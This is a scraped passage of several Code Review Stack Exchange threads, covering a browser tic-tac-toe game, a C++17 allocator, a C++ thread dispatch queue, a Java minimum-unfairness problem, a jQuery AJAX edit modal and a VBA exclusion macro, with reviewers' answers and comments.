href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/globalThis\" rel=\"nofollow noreferrer\">globalThis</a>) you only need to use it under very specific needs. eg <code>window.location.reload(true);</code> is the same as <code>location.reload(true);</code></p></li>\n<li><p>Use plurals for naming arrays or array like objects. eg <code>box</code> should be <code>boxes</code></p></li>\n</ul>\n\n<h2>Logic</h2>\n\n<p>I do not get why you rotate the board, visually, gameplay wise, and code logic, it makes no difference, so why do it?</p>\n\n<h2>Example</h2>\n\n<p>The example is JS and (HTML to show reference associations) only as it is too much work to clean up the CSS for what is already a long answer.</p>\n\n<p>I have made up CSS classes where needed rather than set style properties inline.</p>\n\n<pre><code>reloadButton.addEventListener(\"click\", () => location.reload(true));\nboard.addEventListener(\"click\", turnCheck);\ndocument.body.addEventListener(\"dblclick\",() => location.reload(true));\nvar turn = 0; \nconst boxes = [...document.getElementsByClassName(\"box\")];\nconst PLAYER_X = \"X\", PLAYER_O = \"O\";\nconst winPatterns = \"012,345,678,036,147,258,048,246\".split(\",\");\n\nfunction popUpWindow(winner) {\n modalContainer.classList.add(\"display-modal\"); // add CSS rule to show modal\n if (winner === \"tie\") { playerResult.textContent = \"It's a Tie\" }\n else {\n playerResult.textContent = \"wins\";\n playerResult.classList.add(\"modal-win-player-\" + winner); \n }\n}\nfunction winCheck() {\n for (const pat of winPatterns) {\n if (boxes[pat[0]].player && \n boxes[pat[0]].player === boxes[pat[1]].player && \n boxes[pat[1]].player === boxes[pat[2]].player) {\n popUpWindow(boxes[pat[0]].player);\n return;\n }\n }\n if (!boxes.some(box => !box.player)) { popUpWindow(\"tie\") }\n}\nfunction turnCheck(event) {\n const box = event.target;\n if (box.classList.contains('box') && !box.player) {\n box.player = turn % 2 ? PLAYER_X : PLAYER_O;\n box.classList.add(\"board-moved-player-\" + (turn++ % 2 ? PLAYER_X : PLAYER_O));\n winCheck();\n }\n}\n</code></pre>\n\n<p>HTML</p>\n\n<pre><code><div class=\"boundary\" id=\"boundary\">\n <div class=\"board\" id=\"board\" style=\"transform:rotate(180deg)\">\n <div class=\"box\"></div>\n <div class=\"box\"></div>\n <div class=\"box\"></div>\n <div class=\"box\"></div>\n <div class=\"box\"></div>\n <div class=\"box\"></div>\n <div class=\"box\"></div>\n <div class=\"box\"></div>\n <div class=\"box\"></div>\n </div>\n</div>\n<div id=\"modalContainer\">\n <div class=\"customModal\">\n <h2 class=\"player-won\" id=\"playerResult\"></h2>\n <button id=\"reloadButton\">Play Again</button>\n </div>\n</div>\n</code></pre>\n\n<p><strong>Additional references and notes</strong> (*)</p>\n\n<ol>\n<li><p><a href=\"https://developer.mozilla.org/en-US/docs/Web/API/Element/id\" rel=\"nofollow noreferrer\">Web API Element.id</a></p></li>\n<li><p><a href=\"https://en.wikipedia.org/wiki/Polymorphism_(computer_science)\" rel=\"nofollow noreferrer\">Polymorphism</a></p></li>\n<li><p><a href=\"https://en.wikipedia.org/wiki/Ad_hoc_polymorphism\" rel=\"nofollow noreferrer\">Ad hoc polymorphism</a></p></li>\n<li><p>There is still debate if direct element reference is good practice (a hang on from the 90s browser wars between Netscape and Microsoft)</p>\n\n<p>One argument against it is that support is not guaranteed. This only applies to older versions (~14) of FireFox which in fact does support direct reference, however its behavior in regard to non unique IDs is not the same as all other browsers. </p>\n\n<p>All browsers now conform to the annexed standard, referencing the first instance of an element in the case there are duplicated ID (Note that duplicated IDs will force the page into quirks mode)</p>\n\n<p>The other common argument is that it is not in the standard an thus support may be dropped at any time. This is untrue, support is annexed in the HTML5 spec (<a href=\"https://html.spec.whatwg.org/#named-access-on-the-window-object\" rel=\"nofollow noreferrer\">named access on window object</a>) and is not going to disappear.</p></li>\n</ol>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-15T16:26:49.600",
"Id": "420804",
"Score": "0",
"body": "Thank you so much for such a detailed answer. I will keep in mind these points while coding next project. will go through the references thoroughly.\nOh, and one more thing, while I rotated the board, I had in mind of crating a bot opponent, forgot to remove that, sorry."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-16T06:06:26.910",
"Id": "420866",
"Score": "1",
"body": "This is a good and very comprehensive answer, which must have taken quite a lot of time to write. Kudos for that. It therefore came as a surprise to me that the given JS code doesn't actually work. It contains simple errors. Isn't is good practice to test your code before you publish it? I always do, because I invariably make stupid mistakes if I don't."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-16T06:56:08.610",
"Id": "420877",
"Score": "0",
"body": "@KIKOSoftware Thanks for the heads up. All I could spot was `PLAYER_Y` rather than `PLAYER_O` I hope that was what you saw.."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-16T07:41:02.143",
"Id": "420880",
"Score": "0",
"body": "Only one other thing: The variables `board` and `reloadButton` are not defined. That's easy to correct, and then it seems to work. Didn't test it thoroughly though."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-16T09:09:54.713",
"Id": "420883",
"Score": "0",
"body": "@KIKOSoftware Both are defined in the HTML that is why I added the cutdown HTML to the answer. They join `modalContainer` `playerResult` as direct element references. (AKA named element access)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-16T09:21:35.063",
"Id": "420885",
"Score": "0",
"body": "Yeah, I don't understand that. I Googled: 'javascript direct element references' and 'javascript named element access', without any useful results. Anyway, I had to define them myself to make the code work. Be that said: I don't claim to know all that much about Javascript. Am I missing something here?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-16T09:48:26.850",
"Id": "420889",
"Score": "0",
"body": "@KIKOSoftware Unless you are executing the code before the markup has been parsed, or if you have defined them in global scope else where. eg `var board` Once defined as `var`,.`let`, or `const` in global you clobber the reference (they dont exist until first use). In the JS world its considered really bad practice, I have been doing it since IE4 and dont understand why its considered bad. (Well It been taught that way for so long its now JS dogma, yet its in the W3C standards)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-16T17:24:19.010",
"Id": "420944",
"Score": "0",
"body": "Ah, I see what happened. Yes, I initially had the Javascript code above the markup, and needed to add the two variable declarations. Only after that I moved the code below the markup. And indeed it will work, even if I remove them. I never knew that HTML tag ids would become variables in Javascript. It does make sense though. I learned something today!"
}
],
"meta_data": {
"CommentCount": "8",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-15T15:21:49.613",
"Id": "217497",
"ParentId": "217487",
"Score": "6"
}
}
] | {
"AcceptedAnswerId": "217497",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-15T11:07:24.550",
"Id": "217487",
"Score": "3",
"Tags": [
"javascript",
"html",
"tic-tac-toe",
"dom"
],
"Title": "Tic tac toe game in a web browser"
} | 217487 |
<p>This is an implementation of C++17 <code>std::allocator</code> under the name <code>my_std::allocator</code>, with deprecated stuff omitted for simplicity.</p>
<pre><code>// A implementation of C++17 std::allocator
// with deprecated members omitted
#include <cstddef>
#include <new>
#include <type_traits>
namespace my_std {
template <typename T>
class allocator {
public:
using value_type = T;
using propagate_on_container_move_assignment = std::true_type;
using is_always_equal = std::true_type;
allocator() noexcept = default;
allocator(const allocator&) noexcept = default;
~allocator() = default;
template <class U>
allocator(const allocator<U>&) noexcept
{
}
T* allocate(std::size_t n)
{
if constexpr (alignof(T) > __STDCPP_DEFAULT_NEW_ALIGNMENT__)
return static_cast<T*>(
::operator new(n * sizeof(T), static_cast<std::align_val_t>(alignof(T)))
);
else
return static_cast<T*>(
::operator new(n * sizeof(T))
);
}
void deallocate(T* p, std::size_t n)
{
if constexpr (alignof(T) > __STDCPP_DEFAULT_NEW_ALIGNMENT__)
return ::operator delete(p, n * sizeof(T),
static_cast<std::align_val_t>(alignof(T)));
else
return ::operator delete(p, n * sizeof(T));
}
};
template <class T, class U>
bool operator==(const allocator<T>&, const allocator<U>&) noexcept
{
return true;
}
template <class T, class U>
bool operator!=(const allocator<T>&, const allocator<U>&) noexcept
{
return false;
}
}
</code></pre>
<p>I have tested it like this:</p>
<pre><code>int main()
{
std::set<std::string, std::less<std::string>,
my_std::allocator<std::string>> words;
for (std::string w; std::cin >> w;)
words.insert(std::move(w));
for (const auto& w : words)
std::cout << w << "\n";
}
</code></pre>
<p>And currently no bug is discovered.</p>
| [] | [
{
"body": "<ol>\n<li><code>noexcept</code> on the explicitly defaulted default-ctor and copy-ctor is already implied.</li>\n<li>Copy-ctor and dtor would be implicitly declared if left out.</li>\n<li><p><code>.allocate()</code> (and also <code>.deallocate()</code>, but that doesn't matter) fails to check <code>n * sizeof(T)</code> for wrap-around.<br>\nPossible Solutions:</p>\n\n<ol>\n<li><p>Start with a check. This has the advantage of simplicity and broadest conformity.</p>\n\n<pre><code>if (n > std::size_t(-1) / sizeof(T))\n throw std::bad_array_new_length();\n</code></pre></li>\n<li><p>Use saturating math, and rely on <code>::operator new</code> being unable to allocate <code>std::size_t(-1)</code> bytes on (nearly?) all implementations. This is generally more efficient for the common case.</p>\n\n<pre><code>auto bytes = n > std::size_t(-1) / sizeof(T) ? std::size_t(-1) : n * sizeof(T);\n</code></pre></li>\n</ol></li>\n<li><p>Because the casts are so simple and obviously right, I would eschew the verbosity of <code>static_cast</code>. Guidelines may prohibit it though...</p></li>\n<li><p>I suggest importing the following additional refinements from C++20:</p>\n\n<ol>\n<li>Mark the templated ctor <code>constexpr</code>.</li>\n<li>Mark <code>.allocate()</code>'s return-value <code>[[nodiscard]]</code>.</li>\n<li>Mark both <code>operator==</code> and <code>operator!=</code> <code>constexpr</code>.</li>\n</ol></li>\n</ol>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-05-19T16:54:15.810",
"Id": "220518",
"ParentId": "217488",
"Score": "5"
}
}
] | {
"AcceptedAnswerId": "220518",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-15T11:26:30.903",
"Id": "217488",
"Score": "7",
"Tags": [
"c++",
"reinventing-the-wheel",
"memory-management"
],
"Title": "A C++17 `std::allocator` implementation"
} | 217488 |
<p>I'm practicing C++11/14/17 and am teaching myself the STL multithreading library by writing an asynchronous dispatch queue for my simple use case. It seems to "work ok" but I want to know if it's actually correct and if there are any improvements that I can make for any aspect of my code, including performance.</p>
<p>The interface has just 3 methods:</p>
<ul>
<li><code>enqueue</code> a function/lambda (task) for a worker thread to call.</li>
<li><code>cancel</code> any pending tasks by flushing the pending queue, but leave workers running.</li>
<li><code>wait</code> block the parent/main thread until the workers have completed all the pending tasks. Workers remain running.</li>
</ul>
<p>Questions:</p>
<ul>
<li><p>If I'm enqueuing tasks in a loop, is it inefficient to be locking the mutex each iteration, even if there's no contention yet? </p></li>
<li><p>I'm not sure how to approach exceptions thrown from a task function. My use case is to do 'pure' data-parallel work (e.g. divide a large raster into many sub-rects for workers to crunch). Should it be the responsibility of my <code>dispatch_queue_t::thread_handler</code> to catch exceptions or is it the responsibility of the caller/client to catch them in their task function that they pass to <code>enqueue</code>? Can I somehow express/enforce a constraint stating that a task shouldn't throw?</p></li>
</ul>
<p><strong>dispatch_queue.h</strong></p>
<pre class="lang-cpp prettyprint-override"><code>#if !defined(_DISPATCH_QUEUE_H_)
#define _DISPATCH_QUEUE_H_
#include <thread>
#include <mutex>
#include <atomic>
#include <deque>
#include <vector>
#include <cstdint>
class dispatch_queue_t {
public:
typedef std::function<void()> task_t;
dispatch_queue_t();
~dispatch_queue_t();
template<typename F>
void enqueue(F &&task) {
std::unique_lock<std::mutex> lock(_pending_tasks_mutex);
_pending_tasks.emplace_back(std::forward<F>(task));
lock.unlock();
_task_pending.notify_one();
}
void cancel();
void wait();
private:
void thread_handler();
// neither copyable nor movable
dispatch_queue_t(const dispatch_queue_t &other) = delete;
dispatch_queue_t(dispatch_queue_t &&other) = delete;
dispatch_queue_t &operator=(const dispatch_queue_t &other) = delete;
dispatch_queue_t &operator=(dispatch_queue_t &&other) = delete;
private:
std::vector<std::thread> _worker_threads;
std::deque<task_t> _pending_tasks;
std::mutex _pending_tasks_mutex;
std::condition_variable _task_pending;
std::condition_variable _task_completion;
std::atomic_bool _done = false;
std::atomic_uint8_t _num_busy = 0;
};
#endif // _DISPATCH_QUEUE_H_
</code></pre>
<p><strong>dispatch_queue.cpp</strong></p>
<pre class="lang-cpp prettyprint-override"><code>#include <dispatch_queue.h>
dispatch_queue_t::dispatch_queue_t() {
const std::size_t n = std::thread::hardware_concurrency();
for (auto i = 0U; i < n; ++i) {
_worker_threads.emplace_back(&dispatch_queue_t::thread_handler, this);
}
}
dispatch_queue_t::~dispatch_queue_t() {
_done = true;
_task_pending.notify_all(); // wake threads to check for `done` condition and exit`
for (auto &t : _worker_threads) {
if (t.joinable()) {
t.join();
}
}
}
void dispatch_queue_t::thread_handler() {
while (true) {
std::unique_lock<std::mutex> lock(_pending_tasks_mutex);
// wait unless exiting or there's pending tasks
_task_pending.wait(lock, [this](){
return _done || _pending_tasks.size() > 0;
});
if (_done) {
return;
}
// at this point there must be work
_num_busy++;
try {
auto task = std::move(_pending_tasks.front());
_pending_tasks.pop_front();
lock.unlock();
task();
} catch(...) {
// TODO: I'm not sure what to do here
}
_num_busy--;
_task_completion.notify_one();
}
}
void dispatch_queue_t::cancel() {
std::unique_lock<std::mutex> lock(_pending_tasks_mutex);
_pending_tasks.clear();
lock.unlock();
}
void dispatch_queue_t::wait() {
std::unique_lock<std::mutex> lock(_pending_tasks_mutex);
// block until no pending tasks remain and all workers are idle
_task_completion.wait(lock, [this]() {
return _pending_tasks.empty() && _num_busy == 0;
});
}
</code></pre>
<p><strong>My test case (in main.cpp)</strong></p>
<pre class="lang-cpp prettyprint-override"><code>// [...]
const uint32_t num_chunks = 1 * 1000 * 1000;;
dispatch_queue_t task_queue;
std::atomic<uint64_t> num_tasks_processed = 0; // expected to be 1M
std::vector<uint32_t> chunk_results(num_chunks, 0);
for (auto i = 0; i < num_chunks; ++i) {
task_queue.enqueue([&, i]() {
chunk_results[i] = (i * i); // pretend this is an expensive op
++num_tasks_processed;
});
}
task_queue.wait();
// [...]
<span class="math-container">```</span>
</code></pre>
| [] | [] | {
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-15T14:43:14.810",
"Id": "217492",
"Score": "1",
"Tags": [
"c++",
"beginner",
"multithreading",
"c++17"
],
"Title": "Simple Asynchronous Dispatch Queue"
} | 217492 |
<p><strong>Problem Statement:</strong></p>
<blockquote>
<p>You will be given a list of integers, arr, and a single integer k.
You must create an array of length k from elements of arr such that
its unfairness is minimized. Call that array subarr. </p>
<p>Unfairness of an array is calculated as: <strong>max(subarr) - min(subarr)</strong></p>
<p>Where:</p>
<ul>
<li>max denotes the largest integer in subarr</li>
<li>min denotes the smallest integer in subarr</li>
</ul>
<p>Complete the maxMin function in the editor below. It must return an integer that denotes the minimum possible value of unfairness.</p>
</blockquote>
<p><strong>Solution:</strong></p>
<pre><code> static int maxMin(int k, int[] arr) {
int arrLen = arr.length;
Arrays.sort(arr);
int[] subArr = Arrays.copyOfRange(arr, 0, k);
int minUnfairness = subArr[k - 1] - subArr[0];
for ( int j = 1; j < arrLen - k + 1; j++ ) {
subArr = Arrays.copyOfRange(arr, j, j+k);
int tempMinUnfairness = subArr[ k - 1 ] - subArr[0];
if ( tempMinUnfairness < minUnfairness ) {
minUnfairness = tempMinUnfairness;
}
}
return minUnfairness;
}
/**
* Valid Test Case For Reference
*/
private static void validTest() {
int[] arr = { 10,100,300,200,1000,20,30 };
int expected = 20;
int result = maxMin(3, arr);
assert (result == expected);
}
</code></pre>
<p><strong>The main function to review is maxMin().</strong> </p>
<p>Looking forward to your reviews on - </p>
<ol>
<li>What other improvements can be done? </li>
<li>What other ways could be there to the problem, as the current
approach is Greedy?</li>
</ol>
<p>Thank you.</p>
| [] | [
{
"body": "<p>Hello and Welcome to Code Review!\nThere are two main concerns I have with your solution:\n<hr>\n<strong>Side Effects</strong></p>\n\n<p>Your program has side effects outside of its scope: <code>Arrays.sort(arr)</code> When you call this function you are sorting the array object whose reference you have been passed. This means you are sorting the array that exists outside of your method scope, thus transforming any array you have been passed. </p>\n\n<p>Since <code>Arrays.sort()</code> causes side effects, I'd recommend using <code>Arrays.copyOf()</code> to make a local copy, then sort the local copy.</p>\n\n<p><hr>\n<strong>Over-copying</strong></p>\n\n<p>You use <code>Arrays.copyOf()</code> inside your for loop, meaning you are frequently copying and making new arrays. These memory operations are expensive, and unnecessary.</p>\n\n<p>You copy a range, but check only the end points of the range. Would it not make more since to simply check the values that would otherwise become those endpoints? Essentially, while looping, maintain two indeces, the head and tail pointers(i and i+k-1), and check those values rather than creating a new copy. </p>\n\n<p>A good way to view this approach: We are essentially maintaining a abstract sliding range of k elements, and starting at 0, we slide our range along the array, checking each endpoint for a minimum without the need to create concrete copies.</p>\n\n<hr>\n\n<p>With the above I reduced your solution to the below</p>\n\n<pre class=\"lang-java prettyprint-override\"><code>static int maxMin(int k, int[] arr) {\n int arrLen = arr.length;\n //1)Make Sorted Local Copy to prevent Side Effects\n int[] localArr = Arrays.copyOf(arr, arrLen);\n Arrays.sort(localArr);\n\n int minUnfairness = Integer.MAX_VALUE;\n //2)Loop while maintaining two pointers\n // NOTE: we use J instead to prevent side effects on the int k\n int i = 0;\n int j = k - 1;\n while(j < arrLen){\n int tempMinUnfairness = localArr[j] - localArr[i];\n if ( tempMinUnfairness < minUnfairness ) {\n minUnfairness = tempMinUnfairness;\n }\n i++;\n j++;\n }\n return minUnfairness;\n}\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-15T18:00:44.023",
"Id": "420807",
"Score": "0",
"body": "Great review. \n\nIts a good idea to make a local copy of the array but as the problem does not need any kind of index maintained, I think that would only increase processing time as well as memory constraints. So I would leave that there.\n\nI agree with the abuse of Arrays.copyOf() in for loop.The use of two pointers are great. It just skipped my mind and nice to see your implementation.\n\nI appreciate your effort. Thank you very much."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-15T18:08:15.437",
"Id": "420808",
"Score": "0",
"body": "Your provided solution passed all the test cases. Thanks again."
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-15T17:18:38.647",
"Id": "217504",
"ParentId": "217495",
"Score": "1"
}
}
] | {
"AcceptedAnswerId": "217504",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-15T14:59:24.393",
"Id": "217495",
"Score": "2",
"Tags": [
"java",
"algorithm",
"programming-challenge"
],
"Title": "MinMax Problem Implementation"
} | 217495 |
<p>I've been working on an edit/update button that will toggle a modal that looks like this:</p>
<p><a href="https://i.stack.imgur.com/1OAP7.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/1OAP7.png" alt="Update/Edit Employee Modal"></a></p>
<p>Is there a better code for this JavaScript code that I made?</p>
<pre><code><script>
$('body').on('click', '.editButton',function(){
let edit = $(this).val()
console.log("Edit this : " + edit);
$('#updateEmpModal').modal('toggle');
$.ajax({
type : 'POST',
url : 'get.php',
data : {'edit' : edit},
dataType: 'json',
success: function(data){
$("#updateEmpForm input[name='EMAIL']") .val(data.EMAIL);
$("#updateEmpForm input[name='PASSWORD']") .val(data.PASSWORD);
$("#updateEmpForm input[name='RIGHTS']") .val(data.RIGHTS);
$("#updateEmpForm input[name='LAST_NAME']") .val(data.LAST_NAME);
$("#updateEmpForm input[name='FIRST_NAME']") .val(data.FIRST_NAME);
$("#updateEmpForm input[name='MIDDLE_NAME']") .val(data.MIDDLE_NAME);
$("#updateEmpForm input[name='SUFFIX']") .val(data.SUFFIX);
$("#updateEmpForm input[name='GENDER']") .val(data.GENDER);
$("#updateEmpForm input[name='BIRTHDATE']") .val(data.BIRTHDATE);
$("#updateEmpForm input[name='BIRTHPLACE']") .val(data.BIRTHPLACE);
$("#updateEmpForm input[name='CITIZENSHIP']") .val(data.CITIZENSHIP);
$("#updateEmpForm input[name='RELIGION']") .val(data.RELIGION);
$("#updateEmpForm input[name='ADDRESS']") .val(data.ADDRESS);
$("#updateEmpForm input[name='CONTACT']") .val(data.CONTACT);
$("#updateEmpForm input[name='ICE_NAME']") .val(data.ICE_NAME);
$("#updateEmpForm input[name='ICE_CONTACT']") .val(data.ICE_CONTACT);
$("#updateEmpForm input[name='DEPARTMENT']") .val(data.DEPARTMENT);
$("#updateEmpForm input[name='POSITION']") .val(data.POSITION);
$("#updateEmpForm input[name='EMP_TYPE']") .val(data.EMP_TYPE);
$("#updateEmpForm input[name='edit']") .val(data.ID);
}
});
});
</script>
</code></pre>
<p>It is working, but I want to know if this is a bad practice and if there are better solutions.</p>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-16T00:31:51.973",
"Id": "420842",
"Score": "0",
"body": "Safe to remove the php tag here?"
}
] | [
{
"body": "<p>Welcome to Code Review! Hopefully you enjoy using this site and receive valuable feedback.</p>\n\n<hr>\n\n<p>Wow, what patience you have to type out/copy all of those lines to update the form inputs. Instead of doing that, you could loop through the input fields and check if the name matches a key in the returned data. One can use <a href=\"https://api.jquery.com/each\" rel=\"nofollow noreferrer\"><code>.each()</code></a> to iterate over the input fields, then check the name using <a href=\"https://api.jquery.com/attr\" rel=\"nofollow noreferrer\"><code>.attr()</code></a> and the <a href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/in\" rel=\"nofollow noreferrer\"><code>in</code></a> operator.</p>\n\n<pre><code>$('#updateEmpForm input').each(function() {\n const inputName = $(this).attr('name');\n if (inputName in data) {\n $(this).val(data[key]);\n }\n});\n</code></pre>\n\n<p>To exclude certain fields, like any password inputs, the selector could be updated to include pseudo-class selectors like <a href=\"https://developer.mozilla.org/en-US/docs/Web/CSS/:not\" rel=\"nofollow noreferrer\">`:not()</a> - for example:</p>\n\n<pre><code>$('#updateEmpForm input:not([type=\"password\"])').each(function() {\n</code></pre>\n\n<p>That should handle all but the last repeated line - which can be included before or after the call to <code>.each()</code>:</p>\n\n<pre><code>$(\"#updateEmpForm input[name='edit']\").val(data.ID);\n</code></pre>\n\n<p>You could also define a mapping of input names to keys and look in the mapping for values. For example:</p>\n\n<pre><code>const inputNameKeyMapping = {\n edit: 'ID',\n //any other names that don't match keys directly\n}\n</code></pre>\n\n<p>And use that mapping when assigning the value - something like:</p>\n\n<pre><code>$('#updateEmpForm input').each(function() {\n const inputName = $(this).attr('name');\n const key = inputNameKeyMapping[inputName] || inputName;\n if (key in data) {\n</code></pre>\n\n<p>That way you wouldn't need to include manual value settings lines.</p>\n\n<hr>\n\n<p>Also, instead the click handler can be simplified from:</p>\n\n<blockquote>\n<pre><code>$('body').on('click', '.editButton',function(){\n</code></pre>\n</blockquote>\n\n<p>To using the <a href=\"https://api.jquery.com/click\" rel=\"nofollow noreferrer\"><code>.click()</code></a> (short-cut) method on only elements with that class name <code>editButton</code>:</p>\n\n<pre><code>$('.editButton').click(function(){\n</code></pre>\n\n<hr>\n\n<p>I see <code>let</code> is used to declare the variable <code>edit</code>:</p>\n\n<blockquote>\n<pre><code>let edit = $(this).val()\n</code></pre>\n</blockquote>\n\n<p>However, that value is never re-assigned. To avoid unintentional re-assignment, you could use <a href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/const\" rel=\"nofollow noreferrer\"><code>const</code></a> instead.</p>\n\n<pre><code>const edit = $(this).val()\n</code></pre>\n\n<p>And it is best to be consistent with line terminators - if most lines have them then make sure all do. </p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-15T17:02:22.760",
"Id": "217501",
"ParentId": "217500",
"Score": "1"
}
}
] | {
"AcceptedAnswerId": "217501",
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-15T16:19:36.723",
"Id": "217500",
"Score": "3",
"Tags": [
"beginner",
"jquery",
"html",
"ajax"
],
"Title": "Edit button toggles modal and load data from PHP using AJAX and JQUERY"
} | 217500 |
<p>I have 2 sheets setup: Exclusions and Issues</p>
<p><strong>Issues</strong> has a list of CASE ID's and Columns that list the "Issue"</p>
<p><strong>Exclusions</strong> will be populated with CASE ID's that are to be excluded (and removed) from the Issues sheet.</p>
<p>My question is 2 fold:</p>
<ol>
<li>Is my current code handling this correctly? Are there any ways to improve this?</li>
<li>Is there a way to have the code cycle through all columns dynamically? Or is it just easier to copy the FOR/NEXT loop for each column on the "Issues" sheet?</li>
</ol>
<p>Code below:</p>
<pre><code>Sub Exclusions()
'find exclusions and remove from issues sheet. once done delete any completely blank row
Dim i As Long
Dim k As Long
Dim lastrow As Long
Dim lastrowex As Long
Dim DeleteRow As Long
Dim rng As Range
On Error Resume Next
Sheets("Issues").ShowAllData
Sheets("Exclusions").ShowAllData
On Error GoTo 0
Application.ScreenUpdating = False
lastrowex = Sheets("Exclusions").Cells(Rows.Count, "J").End(xlUp).Row
With ThisWorkbook
lastrow = Sheets("Issues").Cells(Rows.Count, "A").End(xlUp).Row
For k = 2 To lastrowex
For i = 2 To lastrow
If Sheets("Exclusions").Cells(k, 10).Value <> "" Then
If Sheets("Exclusions").Cells(k, 10).Value = Sheets("Issues").Cells(i, 1).Value Then
Sheets("Issues").Cells(i, 11).ClearContents
End If
End If
Next i
Next k
End With
On Error Resume Next
Sheets("Issues").Activate
For Each rng In Range("B2:P" & lastrow).Columns
rng.SpecialCells(xlCellTypeBlanks).EntireRow.Delete
Next rng
Application.ScreenUpdating = True
End Sub
</code></pre>
<p>Data Format:</p>
<p>"Issues" sheet</p>
<pre><code>CASE ID Issue 1 Issue 2 Issue 3
ABC123 No address No Name No Number
</code></pre>
<p>"Exclusions" sheet</p>
<pre><code>Issue 1 Issue 2 Issue 3
ABC123 DEF123 ABC123
</code></pre>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-15T19:07:03.237",
"Id": "420813",
"Score": "0",
"body": "Question: what's the `On Error Resume Next / GoTo 0` guarding against, specifically? Run-time error 9 when `Sheets(\"Issues\")` or `Sheets(\"Exclusions\")` aren't found?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-15T19:30:30.917",
"Id": "420814",
"Score": "0",
"body": "yep! also in case the filter isn't actually on."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-15T19:33:04.350",
"Id": "420815",
"Score": "0",
"body": "Cool. Another one: are `\"Issues\"` and `\"Exclusions\"` worksheets expected to be found in `ThisWorkbook`, or in whatever the `ActiveWorkbook` is?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-15T19:36:00.277",
"Id": "420816",
"Score": "0",
"body": "Yes, they will/should be present."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-15T19:39:31.783",
"Id": "420817",
"Score": "1",
"body": "I'm not seeing all the code I think, because I don't see `End Sub`. I imagine you're also re-enabling `Application.ScreenUpdating`, which I don't see either. Can you post the whole code please?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-15T19:43:49.743",
"Id": "420818",
"Score": "0",
"body": "I sure hope so! What I'm getting at though, is that these unqualified `Sheets` calls are implicitly working off whatever the `ActiveWorkbook` is, which may or may not be `ThisWorkbook` - and if the wrong book is active, then the `lastrowindex` assignment will fail with the same error that was just swallowed; you'll want to address that. Algorithmically, the inner `i` loop should at least be conditional; otherwise you're iterating all values of `i` *for every single `k`*, regardless of whether `.Cells(k, 10).Value <> \"\"`. That said I agree with @PeterT, best to include everything =)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-15T19:51:37.770",
"Id": "420819",
"Score": "0",
"body": "Updated the code!"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-15T20:28:23.250",
"Id": "420822",
"Score": "0",
"body": "added answer here: https://stackoverflow.com/questions/55692766/vba-if-value-in-sheet1-found-in-sheet2-then-delete-data-from-sheet2?noredirect=1#comment98074682_55692766"
}
] | [
{
"body": "<p>My example you'll find below is based on most often working with large datasets and opts for speed in data handling. You didn't state the size of your Issues and Exclusions, so I worked with a large dataset in mind.</p>\n\n<p>A couple quick things to get out of the way because these are good practices to make into consistent habits:</p>\n\n<ol>\n<li>Always use <a href=\"https://www.excel-easy.com/vba/examples/option-explicit.html\" rel=\"nofollow noreferrer\"><code>Option Explicit</code></a></li>\n<li>Avoid a <a href=\"https://rubberduckvba.wordpress.com/2018/10/14/clean-vba-code-pt-1-bad-habits/\" rel=\"nofollow noreferrer\">\"wall of declarations\"</a>, plus the very useful other tips on that site</li>\n<li>Establish specific object variables for the worksheets, instead of always using <code>Sheets</code>. Further, by only using <code>Sheets</code> you're implying that the code should operate on the currently <code>ActiveWorksheet</code>. This is quite often correct, but will trip you up at some point when you intend something different. </li>\n</ol>\n\n<p>So I make a habit of defining exactly which workbook and worksheet I'm using by initializing variables with fully qualified references.</p>\n\n<pre><code>Dim exclusionsWS As Worksheet\nDim issuesWS As Worksheet\nSet exclusionsWS = ThisWorkbook.Sheets(\"Exclusions\")\nSet issuesWS = ThisWorkbook.Sheets(\"Issues\")\n</code></pre>\n\n<p>While I understand your rationale for handling the possible <code>ShowAllData</code> errors, I would much rather be clear about \"why\" you need to do this. So I'd avoid the <code>On Error Resume Next</code> by making it clear I'm <a href=\"https://stackoverflow.com/a/20581889/4717755\">checking for a possible</a> <code>AutoFilter</code>:</p>\n\n<pre><code>With exclusionsWS\n If (.AutoFilterMode And 